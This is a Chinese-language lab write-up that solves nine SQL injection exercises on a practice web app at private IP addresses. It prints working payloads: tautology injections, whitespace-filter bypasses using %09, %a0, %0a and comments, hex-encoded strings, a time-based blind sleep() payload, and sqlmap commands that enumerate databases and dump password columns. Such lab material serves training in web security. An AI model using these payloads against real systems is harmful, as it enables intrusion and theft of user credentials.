sql injection 1:
这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释就好了,源代码如下:
name=root' or 1=1 -- -,其中-- -是mysql的注释符号。这样可以获取其他用户的信息,如图:
还有一点注意的地方在于我们写符号注意不能开中文输入法....
然后手工注入的操作就略过了,因为很熟悉了。
sqlmap实例如下:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner
--dbs是列举数据库, --banner是直接获取数据库banner信息。如下图:
这里可以继续深入进去,学一下sqlmap用法,例如:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user获取当前用户名,--current-db是获取当前数据库。
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --table -D exercises获取数据库表名。
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --column -T users获取列名
然后就是脱裤了,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:
然后发现原来sqlmap也能getshell,具体命令如下:
当然最后没成功,因为路径不对,他的路径不是默认路径,需要用字典先去暴。。。
sql injection 2:
这道题目代码如下:
本题目主要是针对url中出现的空格做正则表达式匹配,我们主要是要绕过这个限制,绕过的方式有好几种:
A:可以通过url编码tab键来进行绕过(就算你改成空格的url编码%20也会被正则表达式匹配到的,所以要改成其他的来代替空格),tab的URL编码是%09,因此可以构造payload如下:
http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:
B:将空格换成注释符号来解决例如把空格换成/**/其他一样
C:直接使用()来代替空格使用
此外,对这种情况可以直接由sqlmap解决:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment
sql injection3:
这道题目主要是对所有空格以及和空格相关的符号(例如空格,tab,换行,中文全角空格等等)都去掉,源代码如下所示:
遇到这种情况可以采用所谓的url编码解决,我用%a0来代替空格,构造的payload如下所示:
http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,结果如下所示:
当然这里是主要用注释符号也是可以的,直接上/**/来代替就可以了。
sql injection4:
这道题目主要对特殊字符进行转义,包括\x00, \, \n, \r, ' ,"等
但是这道题目我觉得出的不好地方在于。。。注入点是数字型参数,不需要用到这些字符。。,直接构造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了,如图
然后看到这里我突然明白为什么要用16进制了,比如说当数字型注入参数需要用到 '' 的时候(比如说table_name=''的时候),可以直接使用16进制,这时候就直接绕过了'以及"的转义问题。如下:
payload:http://10.10.10.138/sqli/example4.php?id=2%20union%20select%20table_name,2,3,4,5%20from%20information_schema.tables%20where%20table_schema=0x657865726369736573a--%20-
sql injection5:
这道题的过滤条件直接看正则表达式那里,只要匹配到不是以任意数字开头作为参数的就报错。
第五题做法同第四,没啥区别。。。。
sql injection6:
这道题和第五题相反,他的正则表达式匹配id是要以数字结尾的,所以这种'就不行了。
sql injection7:
这道题目看了源码,制定id要以数字或者(-0到9的数字)然后只匹配一行的数据进行正则表达式匹配,上图:
因此我们根据前面的方法构造payload=http://172.18.238.200/sqli/example7.php?id=2
%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
即是所有空格都用%0a来代替,直接就绕过了。
这道题木在sqlmap上遇到点问题,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的时候发现显示其为静态参数,如下:
但是我在id=2后面加上%0a再跑sqlmap就可以了,后来查到这个叫做sql换行污染,通过用换行%0a代替空格,再加上其他字符什么的(也可以不要)直接就行了。
sql injection8:
这道题目直接上源代码,如下:
从源代码中可以看到,他是对order后面输入的内容进行排序,其中对order输入的内容还进行了转义,在次我们科普一些知识,在正常情况下,一般而言order by与union是无法一起使用的(不能一个排序另一个不排序还使用union输出)
然后我们就无法使用联合查询了,这种情况下很简单,直接使用盲注不就行了嘛。
payload:http://10.10.10.138/sqli/example8.php?order=age`%20xor%20if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
一个一个拆解就可以了。
这道题目无法用sqlmap跑出来,意识到一个问题,毕竟他的闭合是用反单引号的,sqlmap可能没有这种处理机制,所以跑不出来。
sql injection9:
这道题目源码如下所示:
然后与第八道题的差异在于他不需要反单引号闭合,所以直接使用第八题的payload去掉反单引号就可以了。
sqlmap直接跑就行:
拖了个库。。。